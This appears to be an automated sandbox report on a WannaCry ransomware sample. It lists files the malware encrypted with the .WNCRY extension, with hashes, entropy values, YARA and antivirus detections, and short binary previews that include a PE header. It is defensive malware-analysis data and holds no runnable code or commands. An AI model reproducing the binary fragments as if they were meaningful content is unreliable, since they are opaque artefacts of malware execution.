                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Yara Hits:
                                                                                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                      Antivirus:
                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5256
                                                                                                      Entropy (8bit):7.964613167984854
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ocdRpLKbJ0GOrwSfy3k1d8Dfphgv9fusoopIiE//33KydZ0c:d3FKbyrwmF1d8Lph29l/yvBdZ0c
                                                                                                      MD5:CD047E0CD8992196666DC9146B5D1360
                                                                                                      SHA1:E82AEB5727AB45759899601F38F1BB9431337FF1
                                                                                                      SHA-256:F6E515D07379D77151227DE351359AA8E8C9667B67B7B6A94B57EB763F3B9F50
                                                                                                      SHA-512:D45FF3988A8AAFD459209F7AE6B29A43DCF14BFBF6227DEF806EC8F8B57EBCA93FE012176C9BD34E4E63C46AE2DFA8B2E91C8FD8916CF8D5105E3792F93EFF72
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....>(N...t..u..k|p..._.p.c<<...O./3.^.~.5...K.[......K..Pd.~.. ....Y.4#.b.....>Y&..^..Z.......p...I..gX...X4X.ZSI.."...%uv5.z.....m.B:~......4.2..!3..8..C..#..:.70x.c.GL ..`..8S`&..+)v.:;......y%..X....!.M......\.M......4...k.R..|.k.3.?-."..X....h.........?..M.......'.+.'9....k<.ZU~-..E}r.S.R..~.....m5D..Z..9A..Y...........-.wjP.Eo...A.......?.8D.t/8...,.%x..1...=..n......$.bR...k.g.w....m......^..Q5....Kg......n..1G.B.5...J.X^X....Y.n.fC........l$...aF}f.E.K....e..1...?.a$G:.....zk..](.A...!O@QP"h...o~[..............-...P..........Y..u.P....B.. .k.ww.i..........B....9...!?'..z..4..u)....}9..9b..Fq.jE0|6......R.o5cu.f.Dc..t....D.Z..4gq.._...I..1.L..u_".}.Zg..I.n..o.........k..6.Z......;P8..HS...o.|..LY...)g@..N...^.s..JJ[pr.. .....kpW..3wx...l.H.....).......?9. ..S."E..4.!7.e..E...c..#3. .Sy.r.....RX.5Y..S.]..;g~...o?%B.....tf...9..=i........5.?....Id.........P..\.>yW....i.T{.k.W..1i......F....Zi...}R.w(..t..2H...en

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventStore.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):106776
                                                                                                      Entropy (8bit):7.998285740080886
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:OGmq0uzp0uaghbsep9vXdkn4Uw9BeJ+utkONl4:GqHF0oPpA1oBM+fONl4
                                                                                                      MD5:BC6B5DEB3194780D1D22F159663FB95A
                                                                                                      SHA1:3FD74A5BEA5DBA62CE65AA4B94D041B00F236211
                                                                                                      SHA-256:E9BB89A7E5FAE79DFF2516F50443866A55A513F04D8E90058F7E3AAB0F61AAC5
                                                                                                      SHA-512:663CDD32DBA70F0A0C37FC37B8CD96A2055C9DF2C8112FF926D6084989533D793D948658CC028C26D71C1456652C3D89C339E83028D11050D0564A8B702B8723
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T_I..@/K.....m....uB.]"..M.?..........(X..`..;!..s..Y9........jX.i..3)Vn...Fa.!,.C+.l.Q....- .D.&d~:h.w.G...Z..N..>...>B..Y...Fn.O....##.....R.~..Z.K..d....S..QyHPNS..u............!.....b........XW..(..ut.....\....@..I.R.5..Ei..&i.....lv.0..C......................[.. 4.Yq.'..@..{...I4.................\.A..p9.PF..C.:....h.`..?....P..[s...I>...2.....h.e:i...o.....k..*G..!...'./....v ..L..\a...@...2...............%K>Hg.$Z.hI.r.a.|..s..R.X....D.dzD.]/..`@>.....QL.....&.qF.9_.c.w:<..}_]...dm.3T.p`.......^.o2..1...:@../,...@.s%s..8...!....C...0...i.o.o...../....?.(.f...C.6u.1.KiV.....Z:.y.#E>....c...~{....9u...E.N....j.b.}KR.....B..6zV....;....aZ}.,.7P.j...T.f.j.iV....~4.j...l\.sy.3.....$....K..7.r.|9...>...C........H..pI~.*|.i...+....q.#Cy.....zZ........9lwT...9o.....W4..N....2...%5..1~p=.@...1\5......Tb6#.....=..j...<GipCxQ..n....!.....F{J.vL...=r.T.`..v..\...q.b...,..b$I}b. E.C.....-..j.Q.3.h>k3C...^.3.l@G@L...1..4.....B.N.\.Q..'.1

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.bmp.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.9996821200197425
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:6o0ezSRL8eE0ArcSFA1ZtFKetOVcvvNhax2ORSTk9RBTA8laZsZiIhrr:6o0euRL8eE0mcSi1ZtFsVIjapUk9Rla+
                                                                                                      MD5:398D8B6A442ED05543F8E9FDBCF3A1D7
                                                                                                      SHA1:CB78563FA837683ED838A1C5E57B748DA7F37F9C
                                                                                                      SHA-256:82F0F9822C0843C4CA4361DF448E6CE7344BCF587AE3763E4F7EE92018E66C2A
                                                                                                      SHA-512:92DEEAB3CC59F4281D3C8376DEACDD7361D33EDB30DDF4E8A991FE75B8F560D9215D1067DC5630BD0EFE620AA07231EB18146CE984AC6B6ECE741A1797BE847C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....5..j...\...t...>...q...N..*...uP....6..61.4!....g_..d_....&Q.8Xg`..G ....j..N.c<(&....E2.%.<hd..y.8E~.9..9gUN..>.+..7z..'..}...YU....'.......G..j.....}...r^s..........!{.k..u..J...m.UQ...bb.P......[.XTA...X.*...d].RD.NH..k6.-..E`|.X...<q..U...M....80......L....2f....O.....t..9.T.a....6..MT..'.]U...i.....H6..E.....k{".+_.K.h...K.C-.3+\.........]..ea...=.}.M.p.g......8../.....2U.`....$i).@.h.`....Y...O.BY&Bs.tr.r..qH.Q`9z\...B...K...*Ru3..o.X.W......u&..n'.....#My;..C..I.Q.[U.4.....1.Y.A.@C..eg...VC..........P..g.Y...5\..R_qZ.^..J....4:5.bk......I..wK+1......K......;.[.Z..Vj..67W).r-.)...h.*nx.)..../uf...x..oz....!..#....Gu....t....lP.k.?..E....(.....Bgu..../...O...%*..@.;.^....J.0w3K!......iec.:t.z.....d..............Xh=:.o-.........x....ea.;krR..'y...Lj.$.SM`:>.^..}.g..Lq.=...x.!.J.l.~..v....s..+t.{4!..~...&:....\.3....w."T..9......n..U.z...6;...-..B.j..-....+..|.h..$..y.qf..r.*4C.<...a=..%.....yVP[pP2I.U.$..RN..,ETz.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6344
                                                                                                      Entropy (8bit):7.972850293091307
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o67G7K+XJzREzEZQZr2sPWNkvnGrqWK/4RilUPM/nUxxp1H66br7WaHo:1AKStZWSsPWNkPIqe7inmbrC
                                                                                                      MD5:B463B69EFCC337EFF2065B67E5E18CCA
                                                                                                      SHA1:C42E6E8101F7C16F3173F7B5309E59F6660B40C2
                                                                                                      SHA-256:8B55EFFD14ECED9D14D34838C138266F76894FAF14CE47D0BCA26F61DD0F7EEE
                                                                                                      SHA-512:7A8F13EBF4CACE40005649DFA14FD00885B0527D8A2E4704B67D58FA946EB80C0930ABF58EC594C25363246275F58039B7A1B61C271C82DFE4746A185B0C1CF4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......X...?..._H.".nEj7.....#.,G.e.A...&._..G.[...IN.......fC..&................c.<....\iP.K$P..F.v....f4...E.(.A.t^.vm..u<.`B...@....h.sf3..w..0^g./.R.M5..;'q..-G._K....hj.....;.2.t.kS.........(...7.@.VXUE....f..R.A.3%ll....)......?..e.0]...X9{..............r.i.a.....D....l....H....K<2..s..V.>&.Zh$.0l..].=T...j....~..Y.b.....S,....ptBr......._. |i..q..'..m....(V....*"........7..........n..;0T>d.~.j...J%X.n.....g.........};j..f...=........6...............n.../%]..e.`ygO....).O1...r...xh..@3.8..c.~..AqB.#Y.E<.j.X.'.........E......&D....._.B..T8%.|...j4.g.xh...6..^(.PA......Ay.ZP..v&(R...e..%..m.....}....?k...do..C .<K<%.....3.w.......X.~a.%MJ9.r..\.h.].z.W.V{..TL.p..&..m.[.nZ...+2..M.......)[..29...[..*..I...zR...J.C..k../.G}B;.6-.=NB..K..ZA..*..[..v...)6.a.1x.....[7"...w......3...3n..b...%ANI..|...-...D....r.....s.......0.....>.6.....{h].r......"tK..p..+`..]hK$.^.2q@...;.:1..j..JD...W.}.o0,......M..)...s.(L{e. W ru.8z.....p.*...

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-192.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2680
                                                                                                      Entropy (8bit):7.927948064096255
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkvZxrbawZb3Seu9OCxkoguh6LFlEJLsvv91MUNZusKc88tHoYvnf2rzQlU:oRNDZT9C8wMALsvv91JAsKjGoYvfOQlU
                                                                                                      MD5:91AD4F9D4E1D11BDB5585F278E73CA51
                                                                                                      SHA1:64D0FFF53F958A9914EB559270883A04A73EAB5F
                                                                                                      SHA-256:1A32F89425324F84B0BF40A87929D3D387637A59597FE27448E7CC861515D741
                                                                                                      SHA-512:8AC033E0DB56193132288ABC4A4A46B2903259CD157A7AFD32B2BA8FA84956681605CF569429FF567085AD0E151C60D31F602E6D5BA03B6FAC599D6B803B745E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v.o...bv".<...P\A...d...i.... ....V...x..X...n$".#.s..8.i.#.K.b\8...o..D.|x%.F...I.f]/..F&5.O...............l=>|.`...1.q.w.+p....t.....7<.7..V.>9........%......N.....PJ..Y..k,..N.&..T}.;U.:.#.G.a..?s...-...Z....4K.6.!.(=M[K.a..\....D. ..h.....X.........B{.~....0..]c....E&.....C0z.G....Ef.....o..<..+\P....D[....j...>=........Z......D..&V.m.....,M;.Z.&.ud.{.0.+;.v_.N.....6........b.}.n3O........Y4cl....Qy<..nq...K...YTZ........tz ...su..t.s8)..D..t2.;.-W.E."..^...:.o7]IJ.S.....|...x............Mq.j.R.9Uz...JE...F...2.?W.=...m..G..'.>.<.PJ.f..*1.....>..wDY^.....d.mF..2O3Hu1..1>..3..6wax...EE.Jo....]..!x;..._...e.0.?._.....}.W.D..N.@......GA#.m.:%BT.9.W..d.'T.e.......fa\....#j..fR.m.p.p7.]...x86.u.............{..~l.....'.6....3*..R.v.Dv.J7.m.+..6.?F..........q..a...K........].......l..q#X*..%.8.. .%.2...[..[..a..`q....8..|.......$E...}....-.p#/l.5.k.sQ.[~...dpcW....`?......}y...6$..d...Q{..&go.3..l..t....;...Y.d...t..I..AR.q....zwr.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.bmp.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999686434794198
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:elpRGr4gr/iPdQDSFSsKmrvR/V9rw7TYYN12Ot5gv4YhtDD:iRGZ/iP+DSIVW39rE5PtcN9
                                                                                                      MD5:745E2DD0F797003F36A230ED35F1276F
                                                                                                      SHA1:7381099FB465DBA46F8A61717D1C226242DCBA50
                                                                                                      SHA-256:31FF75D86A836FB77E0C69F02B81B7420785A8B89C99A7AFB3D241C4BCD09738
                                                                                                      SHA-512:126AA39D7942384A23BC6C65F26DBE8437E315542C974D6526F2C56DAF431579FE548A9FBBDA272123C9E6B1766DE05C9E87C1042BA602D8E40CAF8519AD3DA7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....NB>.V.......HO=L.k..YX.J......JV2...[.....6..=.._.\...K3.?.....s.u...l,.=\<.J.....x..H.j...<...0N.T....Pj.%0.6A...i.*.ew$.B..ry=.L.......%...w.<......d.r.Ol.LWVZ..5...K.IG......<.L.n-..$.hD.x.F.....&..dF._..7.<3M<.2.n...l.Z..N.J.f.....#\.....80........wm...!..@._Q...)2...>I.V..'n>A./..?......q....t..1i..q....n.U..:...<....JY..+..K._c......\.p.~:.$8S.Y.!..."...Z.P.Ze&......P"&..-....".....M...u......C..1.[W...=.......T..[j.EM.uU\.|.Z.~.:...}..-..=./I......o.Y#..+g....B.h.....B...c..G.z..=.yO.M .k.....).AQ.B....!.d....-!...~mw...}@...].$.C.uBF.:..z................;q......}.,3.\(D."...."|j....vi....Xfs..v..0.4...F.X....&.?.9...h.M..R......7n.H/|`..nv.}.Yv.%oL.v}....F\<l*....I;-..d_%.p.7.(.k..>1mW..\....9.J$.../{.&....)v~.A....>2W.oC...~.v...].d..1..=@.'l...].^....b.]..n..|.E$.A.t..^...9>"....X:Y.......$?.cW1P"..#d.....-.A..(...8.c..&.\[ A.Eh..rm.-..aG.}.....%.a......W. i....K..\7.;.th3P`...$S..$.8......Z...9...........

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6344
                                                                                                      Entropy (8bit):7.966684703986432
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:qPDhn22BaEW1y/6nMsNU6Ic+4fnvF5X/nC:S9RasEPg4H/nC
                                                                                                      MD5:FF0AD515E33B1FD088A96D41E9863BD0
                                                                                                      SHA1:C89665E0305E7A718A49B9227740B6A30962F973
                                                                                                      SHA-256:B89FD47954D05638B16D6F2E050225222B36E38C087F7A886B006E0DA93564BA
                                                                                                      SHA-512:873430D1DC42FBDA08E8199D8D9A95B0998ED3D917640FBDCEC9266172F964A9339752039200F0F38A683A7A7681E65C00248E59388AD4F7679D04573AC7D892
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....7..}...[.B0..7...N..).iO.n.2.^.....V..e.....=.M.-#6.. .........L...+......&.7xo.z^!3\G^.{......PA.r...H..M...+...........h......<.y....V...a.%U.O.e..X"6p....Op..l...Q.<.j.i...;XxN...{R8.....4"...%*.O....w..L...{...w.......+z..k.o...hg....z..............|.Z$....Y.>.N."Y..E.....!G:Q.3.+Gv..UHfT.... /.*....C.l.R....J.{.M.f.6q.3...l..@hI..]..-.$.v*..:..ake;.l2x...B\.b.L..Q....'...U.5p)........m.>n.m.]...oB.E!..~Z...6.p.fx....c.(..._...,7..9E-.U%e..].....t.'+...x.....V.....7.T..@ ...B..%...=.e;..Q.4.`.[..h.zb..(....Z.)a5.<.p.6I.HE...}.X./_.N>.....m.D..!6.>-..y.....b....4....w.~.{I..:...:..l... ./.u...nF}.9...'.5.0=.0..H....lW..z..!..~..x..f..jm..~Y....e..\...l..L,.8.9.Nh..;...3....y...!.-;@...jw.].a....}...F...y....@K...fVj.lp5...;+q0...&..q."....2...?.Jl?..ub.z.C.<X\.M..FC$..o.....$4..x..4.rP.p....A..=.]..n;[..a.GBIC{.n].y..9..1....*X:#.~.)....1?.f`..&2......[y...Ow.@.'...6..I...h)..:'.Z..j.2.....,.....!...{WGzq..8.z...V$.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):553240
                                                                                                      Entropy (8bit):7.999661753363814
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:fOkPwnWNZQkbiEnvpeFn/ibfUDu+ipQ/k5aTIn:2jnWTntvpeF/8MZipusn
                                                                                                      MD5:DA683C5FF67E6443107DEC7B3EA944F2
                                                                                                      SHA1:94FE55AE0CF468AE797F69C785F24E1B441E2FDD
                                                                                                      SHA-256:DB5934484C1380EE631561E1F5F7E23A76D23317A9599800A56C3F86BB6F4A2C
                                                                                                      SHA-512:57CC656E13F3AAEE86B6AF79FE30ED3CF5231C4CC8D9CDED2E78980A2D1F243A0E32BEC57EB106F4F50929B70EF4C74948FD763D5BA0F6EE8CCA621C25693AD1
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v.2:+.`.e.sBq.:.U..k..Z...JS}x..=.m,.z1..v+..T3......0.........4)e.....@N%W}.B5.ao_.B../.:1..Vg:.I.*....3(..?......."@..4.QX.....Xw#.Z 6...q...~k.....;09z...-..@.5.....*JS}uT...!.....0...........]..B.ZDT)K..\.)2.82a..B....V.)..7.....SiB^.j............p......t..E._.Ba.3&"....,...CSqM.}..]p..9....:%...0...1p......C.U..F...b..NH.S.h.Uu.|D.)i..g..Rd.N..*.R.6.B.65......Oo..RV#me..nV.....e.3Q2.).....(i.J...h*c;..j.1.....F...(V.x..e..a=.n.W.E.....j...W....j.,H21W_...\gQ..$.D>.*SE...].....Rk.....}.#M.. ... ..X...;.8$.yZ.g.J.7J.{.3}........S.YiT.Z,D~....'K.6.?y......*9*...T0....h.hh..L...V....g.....k..Fa....$(.&.....?.\&.*.3T....QF+.Y.o..-.:R.ma."@2..lA.!....5..t/...C.i.`&.B...+....n.b......$N..V.C....R.GZ.F._....hBs...<.<_(M..*...z....'......%'.......Q.dS.L..N(.L...#.|.y...J...../.... j.$.}J.4.:D.5.BC..L...i........A.....jR.....x+.X....P.*..DT...~z...>.z....f...jI)L..%...~.K%_.t./#....S..Z...D..O.8....I\....f...E..U.3...o.`..W.....L.e..Te.....

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):516712
                                                                                                      Entropy (8bit):7.999618635802682
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:1aNTaTdUN92HCpaYhllPR4YfL/kFQ0Pgamof67/qOnBl42Gv/zp9LrwPqQo+fW/A:1mFN02JAapaPy7/LBB6zT8POxA
                                                                                                      MD5:4DD7C63585508E024867AD5BD0429DF6
                                                                                                      SHA1:39BA8E1C0096BE79F374E8FF602D586EC43FE5CB
                                                                                                      SHA-256:9E5D0A0DEB1E8E3F359B70617493208107812837145F33D40F63FF875E2E028F
                                                                                                      SHA-512:839A9B3185C6EF24541430948BFF849CF98BC410DA4380EAB025E190641EC55DAF4E293983D089377DD4818B2BFF2451F5FB714F6504124B625EED98E2D84E64
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....k.|u.R........5....^....gl{.A.6.h.....,..9.h......V..}......&>...\.(.Fs...=........e.M\......r/WR.y..|q[C.w.?.cjp.Z....L.u.{.4j..L.-K.....3....o!.m.(.y...:..G..|.C...Y%L.!....E.2...-Dvd..@..6J..j`v..lj.......w.y...........{"...W.F.{)..$.g....H........u.C;.p...F..T.H..P...I.[>fR.6..=...C.RU]...x...=.BGI(.M......t.......sm..!..k.A./%....!.......(.s....-._..Z/..3L..B.'k..O..Mx..~.w.h...4$7@J.....k.._...wy.:"b7/` 9.......S.=........\GI..D..[...O..0.3U."g5[L.~<R...H...P.....9.%..lX..S.3...n...B....I<..[gx............9..:N^.Y...w9XU..pP...u....&.{.....y.c.Z..fa..........J...x...{..x;{Y....W...J.d=y..=.HE......R.......s(..#e. .....;.[KJ....'jM(........4....hQ.b.+E..r,.I}..C&g..k............L....NOy.?.,.[.9...2.e.@^'3.......-.J.J....q......03.#........S...4.y.i$.......>.2C......t.....L.Z.K.-S\1<.+[?.>#.7......%[S&..fg1.U..2.)W....-..1..zP.Dt(...V..........H(.<..5i.N{83..0..~7.......*T.h/.<..l}..........j.....].....;.8.......Lv

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.2.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988926268495666
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:4dzkz1m5QP40XB14YesP+L6rR5Pn9iUD89G:4FkGm4QB14n6r7nN89G
                                                                                                      MD5:3BC4A4DD12CF3DF3432C2A62171F7A88
                                                                                                      SHA1:5A2168385FAE1B2C74CB03DDF458FA1A557CF0F9
                                                                                                      SHA-256:BF9FA234AC825CDF2635FE64F9588418F846315D4BD9D36F7B7B40AE9B27F772
                                                                                                      SHA-512:9F39DF967616D4E1989CB767DAEA178646EBEF3604AF5939E641F550875AA96AB4FC9FCA4DE051CD827BD1ECA28860B24AEBEBF2B194F7C602CBB91FE3D34671
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........D......d..B.(..#i.!.....5o..(.M..[9..#...0|&..S].T2.."1...)@..F$..?1..z&.Z:.).f.5.Q#..g...c$Jc...k.l7.r.z......8.f&.Aq......g"....=\....&......RI.....3c.w..........,...)...... .zs........mrOOg.gg.i..w..-0{.-=...F`W...)....b.......i...C.......@...........qp..aR.Z.`.O,uWZp....c.\.....?.e..p.^.A..\_....Oq...@S....%./%......R..Rev..N..)...3T..[j.........+...7v..L.r.gF<1..s..74=.&.z.p...n...O...Wx....a.lP.gc.IH'.As.......x......K...-P...Z..7.]...=....@..:ys...wS=..c.s@..=..sO...N....KC.X5...Qz...{.a....?..MnA]...D.bD%.F.r.W.U.....#/.,Tw...p~.V@%K....X.,.u..{...w.c..d.m~]\a..T...I..F.,B..C.1s..a......<.&i...-r..^SP..Ga.......k.|.].e.x......E.8}...}......;....F.sw....Z...n.V.|.]....'.x.@P.J.F....d.v..."=g.;..(...].%qg.T...... .t#^.z.`.._.F.7..t...B.l.;+6I..E......q......%...r..-g...n.].0@.<..W|_..H.@.WEK{H..&V^...K...O.|7o..M...Z......E.A6...... 9M';.}...4.sYbgu.N.]..TBi_...OB.......L.C...!6G.}..z...f.7.o...[.W.+.m.n...

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):33048
                                                                                                      Entropy (8bit):7.994907152432268
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:TNfhXY3jJYyQm/ACptwPun6j9ShDxaQmdf9th4rDX:xfho3jC4/xpHnEMkdflwT
                                                                                                      MD5:C5D9E5D4B20EAEB3679942E640BC6C36
                                                                                                      SHA1:C8D1F392FF7C54199017F02804ED40F888D838FF
                                                                                                      SHA-256:197354D7EDC2A71E994D1C6B2E58C41095F2B5A0B6EEE000D8834331C30FEE6E
                                                                                                      SHA-512:94AB3361D82DDA2606C2E868BC3267FAC9503C2E2F622BCF3FA20AE3244972D52D79E60C86A8CB8862D9C6D88D77D3568781D1EAC318B175546BF38679C4C69B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....e.$..[&..4.....3.}.&.+....#s..d...E3.n.\#..Nc.&..k.UA..YV.A.^y..3.%....W}nA..9.j\5 .U..`h.&q..G_.....j..b...i5.l......1.X....V...!.4Y...[!.D...f.....0\..p.(..'.Y.n.q4...b.'..J.;0WG.@..D.....H..~.8..Yt..V.?.H.....=.....<..\...1. ...h.whl.T..e.GB............<....C....IJc.N..x.D....y.X.2....02...)9.......@.W....-..:..C..7......q..51.d.p....n]...7......P.0....kAG.?.8B....u...A.z8x..$_#GW....^T..`=,.z..+`.<.:...oyqm.D..7.D.t~...kq..%l..U.].o.x^...X..#...t5..v.P.....-........x>..T..a.)&...#f...M...#....V.a..,.l..Oj._...l.iX..Q./..'d.W. .d..a.a,`......c)..0.+..I..4/x..d....Ki.7..A.2..g.$#.h.......2..GD...X.....6...M.P.......N.......@b.}....5j".....Y..p./.._7.L]....'..I.r.. .....4?.s=....A.*...c.f$.........g.R.D.U.AP..5.ns7..,XP.........p..g..].....4R.%...J/..H.r..).N.I].v;i....5..U..^.~6l.G. '....5XR..~F..^..r....m....vj.0.pp.H......l.........>.k.#...iv......8.a......[.p+.,...M......Cm3.}..<...o......u*..f.;......hP.|c.0..A.w.K=..T7.s

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28952
                                                                                                      Entropy (8bit):7.993725968817009
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:fP+9fe6pwNGIkHKBnTiQEo///zqQZK3Ttt5O443sSLX72XptQ1Gm8zT9WuFEQfGi:eQ3r6KJTPhGDssST72YT8vLqQfr3
                                                                                                      MD5:39B65BFBA57DE6CDB8D6571E46D3F70A
                                                                                                      SHA1:76F5CBFB7676837E1CB0976D2D4C04250A74E0CD
                                                                                                      SHA-256:1626A8B0B7CF2B74BFCCA24FA87959AB9DFF88DF06223771837A34F1A5C64216
                                                                                                      SHA-512:03D521FAF88598F91EE3D7C17AFC26CF1690942BCDBBC423249C98261D63BFAB70572C14ABE3263153FF90A9A1750CC2A9080D2AB5408AD466875F7E578BCA48
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
